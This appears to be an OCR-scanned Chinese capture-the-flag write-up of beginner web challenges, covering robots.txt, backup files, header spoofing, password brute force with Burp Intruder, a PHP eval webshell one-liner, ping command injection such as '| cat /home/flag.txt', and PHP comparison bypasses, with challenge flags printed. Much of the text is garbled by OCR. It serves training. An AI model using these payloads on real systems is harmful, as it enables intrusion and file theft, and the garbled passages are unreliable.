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[ ﬂ Elements Console Sources Network Performance Mer
html lang="en =
¥ <head

meta charset="UTF-3
title:Where is the FLAG</title
Jhead
¥ <body
P cscriptra¢/script
hl>FLAG is not here</hl
sas <!-- cyberpeace{8b9696877feaa7e8445c67bb52e57541} --> == %8
/body
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get post

BEER:
20 B -

A =b—

2 5 B -

https:/fblog.csdn.net/qg_4

HTTPEI B iE R 5 &K

GET
GET#HRKBIESMAEURLZ & (RAEBEIRBEAHTTPHICKF) W:

test/1.php?namel=valuel&name2=value2

POST
POSTi&E K2 ICHRZ KB B EAHTTPIIE B &+ .

POST /test/1.php HTTP/1.1
Host: w3schools.com
namel=valuel&name2=value2

FrUCAT 7518, HEERXM#TES, A itifag.

INT ~ = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

@& Load URL http://111.198.29.45:53573/?a=1
& Split URL

Execute

tdata || Referrer ™=

Post data

sv o C88v | 3
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st — M, AR —Ai4 . robots.ixt FH U ) R 3 R R BB R 35— AN S . robots S5 F
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BEAE B 7E URL 5 i _Erobots..txt

< - C ® 111.198.29.45:57788/robots.txt
BydiERds @ FFLE B EEmi @ H2EsSE b mFEE & ERbbEAEMEK...

User—agent: *
Disallow:
Disallow: flag 1s_h3re. php

URLJE I Eflag_1s_h3re.php

< > C @ ® 111.198.29.45:57788/f1ag 1s_h3re.php
Bamasis @ #FLE AN @ Hrakss Ib] 5l & FEsliEE A RASIR...
cyberpeace{d90087f48f9009ebf10f23264bb0a67d}

#EURLJ5 in_Erobots. txt{# 18 2 T flag
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[INT ~ = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFl-
3@1 Load URL /http:/ﬂ11‘198.29.45:4?2SGfindex‘php.bak @ B \EEFREE.. X
| ® =
| d Split URL & . 4 « XCTFEGAER » Web » 4 ol | mmar =
i » Execute - ) -
HES - FEEE = > e
= e N B e e =i
» 3D R BESERSHTRNE,
B W
= A
s FEE il >
IT{EE(N): |index.php.bak B
{R225U(T): | bak File (*.bak) -
~ BEETiEE F=(S) HiE
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L} DARMZ\XCTFIEAEHFR\Web\Aindex.php.bak - Notepad++
IOEHF) W) #ERS) MEMW ®BN) EBESL REM 180 =M ETR) BEP) #0w) ?

OHERGE 4 BB e k22 BRI EElue DI EER
Eﬂ index.php.bak&ﬂl
Ekhtml>
2 H<head>

<meta charset="UTF-8">

<title>fBfr C</title>

5 <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
B ] <style>

7 body {

margin-left:auto;

margin-right:auto;

10 margin-TOP:200PX;

11 width:20em;

12 }
13 </style>
14 t</head>
15 H<body>
j <h3>fRHAIF index. phplfI fF 4 XA H 15?7 </h3>
7 H<?php
Sflag="c
19 s
20 |</body>
21  L</html>
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I Burp Suite Professional v1.6 - licensed to LarryLau

Burp Intruder Repeater Window Help

[Target T ] Spider I Scanner ] Intruder I Repeater TSequencer [ Decoder ] Comparer | Extender [ Options ] Alerts I

_I tercept I HTTP history [ WebSockets history I Options ]

i Request to http://111.198.29.45:43180

Forward | Drop Interceptis on Action
. M J L
_I Raw T Params ] Headers ] Hex ]
GET / 1

Host:



User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWe4; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Accept-Language: zh-CW,zh;g=0.8,en-US;g=0.5,en;g=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cockie: lock-here=cockie.php

¥-Forwarded-For: E.8.8.8

Connecticon: keep-alive

Upgrade-Insecure-Reguests: 1

¥ Burl 5 4% 44 cookie.php

(- ® FEIP Jtable { font-family: Arial, sans-serif, tab[k—@opﬁﬁﬁ color: #404q4m * A @I 5 |~ &~ ¢

INT v = ® SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

Insert string to replacell Insert replacing string

See the http response

BHEHTTIPWR, BIF]15Hflag

ﬂ Burp Suite Professional v1.6 - licensed to LarryLau = O X

Burp Intruder Repeater Window Help

i Target ] Proxy ] Spider Intruder ] Repeater ] Sequencer I Decoder ] Comparer IExtender I Options I Alerts ]

M Scan queue IL'rve scanning TOptions ]

¥ i http#1111 198 29 4543180 i HTML does not specify charset
il i Frameable response (potential Clickjacking)
i cookie php

[ Advisory T Request

M Headers ]Hex ]HTML I Render ]

HTTP/1.1 200 OK L:
Date: Sat, 15 Jun 2019 11:46:51 GMT ?
Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-lubuntud.Zé

flag: cyberpeace{cf69830-33f104352cdf5f864eeb322}[|

Vary: Accept-Encoding

MAantant_Tan~ath: 411




Connection: Keep-Alive
Content-Type: text/html

disabled button
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N BERAVIREH
flag
# % € > )= mma HTML~ €SS WA DOM M Cookies P s
<y B body html
= <html>
# <head>
£l <body>
<h3> — |~ TREIRAHEH </h3>
= {form method="post” action="">
{input class="btn btn-default” type="submit” name="auth” wvalue="flag” style="height:30pxz;width:200p=x:" >
</form»
= forvrint  orn="mAn—avtanctan s { TAQha To FRA-FAQA_ARR BRI T INA - FRAS DAV S0 iTntans 2™
KA disabled/BHE, disabled)d 7 ¥ BB PR EEH &M . Friliidisabled)d
— AN\ aebi 7
N REIRAYRH
flag
# %Y € > )= mma HIML> | CSS BA& DOM R  Cookies P
s =HiE body html
=l <html>
* <head>
=1 <body>
<h3> — - TREFRIHEH </h3>




= <form method="p

{input
</form»

name="auth” wvalue="flag” 200px; ">

MiEETURE T, Rii—T, H2fag

— P REIRAYIREH

cyberpeace{d1d75379b2b144a66d90295beaec33b9}

simple
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BBk

ﬁ@%%:l AOABUEEIT R |

0

B &

BEI

2| <html>
3| <head>
4 {title>J8</title>
5 {script type="text/javascript”>
function dechiffre (pass_enc) {
7 var pass = ‘70, 65, 85, 88, 32, 80, 65, 83, 83, 87, 79, 82, 68, 32, 72, 65, 72, 65”;
var tab = pass_enc.split(’,’);
var tab2 = pass.split(’,’ ) var 4, 5,% 1=0,mn,0,p =
10 k=j+ (1) + (n=0);
11 n = tabZ. length;
forfi = (0=0); i < (k=3 =n); i++ ) o = tabli-1];p + String. fromCharCode((o = tab2[i1));
if(i == Slbreak;}
for(i = (o=0); i < (k=3 =mn); i++ ) {
o = tabli-1];
1 if(i > 5 881 < k-1)
17 p += String. fromCharCode((o = tab2[i]));

i = 0] = tab. length;

J
19 p += String. fromCharCode(tab2[17]1);
pass = p;return pass;

String[“fronCharCode”] (dechiffre ("]

h = window. prompt (" Enter password’ );
alert( dechiffre(h) );

fseript>
</head>

30| </ntnt>



RIUXAHTT LEBE T B8, 1R 163

[ *C:\Users\ASUS\Desktop\SEESIAIIR (2).txt - Notepad++
(R HRER(E) EERS) WA ®BRN) IESL E|EM IB(O) H=M) BEFR) BEHP) s0OwW) ?
dHHBRE s Wbl 2% BF(S1EFEAE S| N0 EE

B FRrArs ). v |

1 |35352(:35362-:35342(:3T392C3131352C36392(:3131342(:3131362(:3130372(:34392(:3530

FrLA163EH]#ASCI

A =5

55,56,54,79,115,69,114,116,107,49,50

s

35 35 2c¢ 35 36 2c 35 34 2¢ 37 39 2c¢ 31 31 35 2c¢ 36 39 2c 31 31 34 2c 31 31 36 2c 31 3@ 37 2c 34 39 2c 35 39

R il ="

53 53 44 53 54 44 53 52 44 55 57 44 49 49 53 44 54 57 44 49 49 52 44 49 49 54 44 A9 48 55 44 5) 57 44 53 48

XARIFG RASCIRG 103 HI{E, Frbl103HF#ASCI
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+it

55 56 54 79 115 69 114 116 107 49 5@

5 Zlflag
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xff referer

ey <
BERE:
SRR A >

SR ATARBUEE A =

2R B A

ittps:/blog.csdn.net/q

EEIBH ST T xfffireferer

X-Forwarded-For (XFF) & FRiR BB HTTPAR R 8% 47 2397465 75 s0EH: B)Web iRk 55 25 1) & P i B R 46 I IP Hb ik O HT TP & 3k sk
FB.

R i, xfiR: 2 VR AR 55 28 24 B0 18 SR & I B & ipi httpid R L 7 Bt
1% AT DB 3585348 i httpsk & i X-Forwarded-Forsz B & 45 & & 3K i | & ip

HTTPkiEHidl (referer, B{HTTPreferer)
RHTTPR LM —NZEB, FRR RN SR LM, RARERZURL. #AiER, EEHTTPRIE”IE, ZETHM R
] DARS 2T U7 25 R BT SR, 3t 4 SR A D ik 1Y 8 Rk B SR o



R HE, referersi 2 & FIRS S AUHU A R~ NBNurBb bk By B 8 2K, Bxff—FE, refererth il HE B

ipiti 44 79123.123.123.123

FE B i IP bt 4i9123.123.123.123
Pt AT Z EOXFF

B! Burp Suite Community Edition v1.7.33 - Temporary Project

Burp Intruder Repeater Window Help

[Target I Proxy | Spider ] Scanner I Intruder TRepeater I Sequencer TDecoder ] Comparer ] Extender ] Project options TUseropt\uns IA\erta ]

| ©o Cancel < v Target: http://111.198.29.45:39055 | # | |
e e =
Reque Response
Raw | Params | Headers [Raw Headers THEX HTML T Render ]
<
Name Value Add h"‘l“:iqd"
GET THTTPA A — <meta charset="UTF-8">
Host 111.198.29.45:39055 Remove Seitle)indead/inile)
; ; i <link href="http://libs. baidu. con/bootstrap/3. 0. 3/css/bootstrap. min. css” rel="stylesheet” />
User-Agent Mozilla/5.0 (Windows NT 10.0; WOW&64: rv:48.0) Gecko/.. 1e>bedy(
Accept text/html application/xhtml+xml application/xml:q=0.9.%/"q_ Up margin-left:auto;
Accept-Language zh-CN zh;q=0 8 en-US;q=0 5 .en.q=0 3 margin-right:auto;
A t-Encod deflat Down | mar gin—TOP : 200PX;
ccept-Encoding gzip, deflate J width:20en:
DHE ! H/styler
Cookie look-here=cookie.php </head>
X-Forwarded-For 123.123.123.123
<p 1d="demo”>ipHEHbAFNA123. 123,123, 123< />
o cten Eloss <script)docunent. getBlenentById("deno”). innerHTUL="iAFUHK Bhttps://www. google. con”; /script?
Upgrade-Insecure-Requests 1 </body>
</htnl>
|a
P
B . N
T X E i K K A https://mww.google.com/, BT LAE HReferer
! Burp Suite Community Edition v1.7.33 - Temporary Project - m| X
Burp Intruder Repeater Window Help
[Targﬂ I F I Spider IScanner ] Intruder ]Repeatel ISEquencer I Decoder ] Comparer ] Extender l Project options \[User options | Alerts
el
S S 5 .198.29.45: s 2
Go < Target: http://111.198.29.45:39055 7
Request Response
Raw | Params | Headers Raw | Headers THex HTML TRender ]
<htul> Ta
|iams, il | Add Qhtad> -
GET FHTTPA A <meta charset="UTF-8"
Host 111.198.29.46:39055 Remove Ctitlerindex</titles ' . 3
<link href="http://libs. baidu. com/bootstrap/3. 0. 3/css/bootstrap.nin. css” rel="stylesheet”™ />
User-Agent Mozilla/5.0 (Windows NT 10.0; WOWG4; rv:48.0) Gecko/.. {stylevbody{
Accept text/html|.application/xhtml+xml application/xml:q=0 9 */*q Up margin—left:iauto:
Accept-Language zh-CN.zh:q=0.8.en-US:q=0.5.en:q=0.3 margin—right:auto;
Accept-Encodin zip. deflate i ) margiiT0P i 200PK:
P 9 9= width:20en:
DNT 1 fstyled
Cookie look-here=cookie_php </head
{bady*
X-Forwarded-For 123123123123 ¥
<p 1d="demo " >ipMhHAFI123. 123.123. 123 /p>
Connection close ¢

Upgrade-Insecure-Requests 1

Referer https:/iwww google com

SRJE MiiGo, 75 Zflag

Web9: weak_auth(55 & 4 % i)

weak auth

script>decument. getBlementById(“demo”). innerHTML=" 14 F¥ Bhttps ://www. google. com” ;¢ /scripty
ript>document. getBlementById( demo”) . innerHTML="cyberpeace {3cd429d4df Tee5e905Tac20eada3096b} " : < /script>




BmENR:

JEF_E E Eij_ﬁ : -"'_: _.l _|I i

mBmR:

20 5 B -

login

reset

BEF RIS, MiZstESEH 4. T4 2Zadmin

111.198.29.45:56098 &7~

please login as admin

it A B #: F Burpsuite#E 177 8L (55 0 &7 B 1B Bk

hitps://blog.csdn.net/q




[ Burp Suite Professional v1.6 - licensed to Larrylau

Burp Intruder Repeater Window Help

Target | Proxy ] Spider | Scanner | Intruder I Repeater TSequencer TDacoder TComparsr TExtamiar Options | Alerts

[ime{cepi T HTTP history ] WebSockets history T Options ]

Lﬁ Request to http-#/111.198 23 45:34248

| Forward ' l Drop J | Intercept is on [ Action

Raw | Params | Headers | Hex

POST /check.php HTTP/1.1
Host: 111.198.29.45:34248
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rwv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Accept-Language: zh-CN,zh;qg=0.8,en-US;g=0.5,en;g=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Referer: http://111.198.29.45:

Cockie: lock-here=ccokie.php Send to Spider

X-Forwarded-For: 8.8.8.8 Do an active scan

Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-wwu
Content-Length: 27

Send to Repeater Ctri+R

Send to Sequencer

Send to Comparer
username=admingpassword=123 Send to Decoder

Daninet in henuear [

¥ password fI{E & N &

username=admin &password=5sss§

ik s S

(Target TPositions ]_P‘axqu‘ds ] Options ]

llJ Payload Sets

be customized in different ways

Payload set: | 1

! Paylf;d count: 257
Payload type: | Simple list | equest count: 257

I_?j Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Pasia 123456.com "
| Load .. T@#

> [li23 v
Remaove aaal231@¥%

qql123.com

LGk | | 12us6

wantian##7( v

Add Enter a new item

Add from list __ [Pro version only] v

Intruder attack 2 -

Attack Save Columns

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set. and each payload type can

: ;
Start attack

I Results rTarget TF’ositions TPayIuads TOptions ]

Filter: Showing all items

Request & Payload | Status | Error | Timeout | Length Comment
0 200 O = 434
1 123456.com 200 ] 0 434
2 123123 200 (] O 434
3 idc123l@# 200 = O 434
4 123 200 a 0 43
5 aaal23l@# 200 (=] = 434
B gqql23.com 200 [ L 434
7 | 123456 200 g g 437
8 wantian##% 200 O O 434




g gwel23 200 B = 434

10 quwe1234 200 B & 434 L
11 123qwe 200 O = 434 ¥

KIEN1234560F, KEARR, Pril#iE 123456, Eii—TEIF 15 Hiflag

cyberpeace{b6345abf90d7d93a9baef23c98fe1811}

webshell

BEKIR:

S By S

BmEGR:

0 5 B -

https://blog.csdn.net/q

EFHH, Mz -fAEARD

<?php @eval($_POST['shell]);?>

RRE—AEARY, HERITE

Sz 2019-06-168 BRA+=

Fif http: /111, 195. 28, 45: 37476/ 77(0.0.0.0 shell 20180615 21:. .. & iﬁ_ﬁ;?kjlekgq

el ey

] $BSHELL X 7 Typel

o B

ik Thttp://111. 198, 29, 45:37476/ [4&17] =

s

i

ERIE ~|[FHP (Eva v|[cB2312  ~|| & |




=

CIZEN@2014/12/13@4b4a956b9c7dc734f339fa05e4¢2a990 0.EAZERI

EERY, B3flag

& 111155 28 45 X

ﬁ)\_|_/var/www/html/ﬂag. txt v |_1RTE |

cyherpeace (17485937121 £758dbafdée81desdeend]

Line: 1, GB2312

command_execution

MEEH:

BERR:

R /)

ﬂ@%ﬁ:l IR LR A R |

A0

] B4 -

EBH, %7 TFping. waf. #r4#47. Linuxdr4d


https://blog.csdn.net/qq646748739/article/details/81660514

WAF
WAF 3= ZE 55 37 B2 3R B X P s s 0 3h S BEMdr, MR KB d R AESQUIEA . XSSHdi. CSRFX#. BEIRH. 1
fias. TSRS ERE S TR K.

command2 : sE#4Tcommand2/E #4T commandl

command2 : 5E#4T commandl/5$h4T command2
command2 : H#44Tcommand2
command2 : command1FHATRE, BHIHATcommand2 (& command1AT I, A FHHATcommand2)



https://baike.baidu.com/item/WAF/3239498?fr=aladdin
https://www.freebuf.com/column/154670.html

% F FLinuxdy &
TGS

<form class="form—inline” method="post”>

<div class="input-group”>
{input style="width:280px;” id="target” type="text” class="form—control” placeholder="i{#iii \ii &ping(fjHhilil” aria-describedby="basic-addonl”
</div>
<br/>
<br/>

B S %ikping— T127.0.0.1

| http://111.198.29.45:46653/

Insert string to rep!acel Insert

PING

BN R Zping Uttt

PING

ping -c 3 127.8.8.1

PING 127.8.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 tt1=64 time=0.044 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=8.859 ms
64 bytes from 127.08.0.1: icmp_seq=3 ttl=64 time=8.859 ms

--- 127.8.0.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.644/0.0854/0.059/6.887 ms

Insert string to



https://www.cnblogs.com/cokefentas/p/11101000.html
https://blog.csdn.net/dyw_666666/article/details/79184126

PING

EHRINFEpingHUHIE

PING

ping -c 3 127.0.8.1] 1s .

html

-/

PING

SN EEpingfittht

PING

ping -c 3 127.0.0.1| 1s .

backups
cache
1lib
local
lock
log
mail
opt
run
spool
tmp

W

i

-/



INT ¥ = @& SQLBASICS- UNION BASED- ERROR/DOUE

i

PING

ping -c 3 127.0.8.1| 1s ../../../
bin
boot
dev
etc
home
1lib
libs4
media
mnt
opt
proc
root
run
run.sh
sbin
srv
sys
tmp

usr

var




PING

A EEpingfttitht

PING

ping -c 3 127.0.8.1| 1s ../../../home
flag.txt

F catfiy & B B txt SO

{ \S-/I ® FHIP }table { font-family: Arial, sans-serif, table-layout: fixed, color: #404042 ‘@

INT ¥ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCO)

PING

ERIAFEpingfytat

PING

ping -c¢ 3 127.8.8.1| cat ../../../home/flag.txt
cyberpeace{518290e8539%dcca28cdaBd917e1124274%}

FHik
B4k %ikping—F127.0.0.1, HEIESHITHHL

PING



PING

ping -c 3 127.8.8.1

PING 127.0.0.1 (127.9.8.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp seq=1 ttl=64 time=8.856 ms
64 bytes from 127.6.0.1: icmp_seq=2 ttl=64 time=0.851 ms
64 bytes from 127.6.8.1: icmp seq=3 ttl=64 time=8.831 ms

--- 127.8.8.1 ping statistics ---

3 packets transmitted, 3 received, 8% packet loss, time 2886ms
rtt min/avg/max/mdev = 8.831/0.0646/8.856/6.018 ms

pingilAME, KIALH=AHEL. BEE=THER PR T Fflag.txt
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127.0.0.1 & find name flag.txt

PING

PING

ping -c 3 127.0.8.1 & find / -name flag.txt

PING 127.8.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.8.08.1: icmp_seq=1 ttl=64 time=8.859 ms
Jhome/flag.txt

64 bytes from 127.8.8.1: icmp_seq=2 ttl=64 time=0.854 ms
64 bytes from 127.8.8.1: icmp seq=3 ttl=64 time=06.849 ms

--- 127.8.8.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1999ms
rtt min/avg/max/mdev = ©.849/0.854/0.855/08.804 ms

R Afag.txt, HHANGS

127.0.0.1 cat /home/flag.txt



BEflag x>, 5 Hiflag

PING

PING

ping -c 3 127.0.8.1 | cat /home/flag.txt
cyberpeace{4dd5016d81502b917a8954a1130a3164}

simple php

BER:
BB A

AB7R: | AL R |

Fan

SR EX

hitps:/

<7php

show_sourcel_ FILE )

include (" confie. php™)

$a=03 GET 2’ 1:

=03 GET b 1,

if($a==0 and %a){
echo Jflagl:

}

iflis_numeric($bi){
exiti):

}
if($b>1234) {

echo J$flag?:
i

iz
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is_numeric() HFHTHENEERE A FEBHE
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INT ¥ = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPT

Insert string to replacedl Ins

{?php

show source( FILE );

include (“config. php”) ;

$a=@$ GET[' a’ 1;

$b=@$ GET['b’1;

if($a==0 and 3%a){
echo $flagl;

1

1

if(is_numeric($h)) {
exit();

!

if($b>1234) {

echo $flag2;
}
P

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
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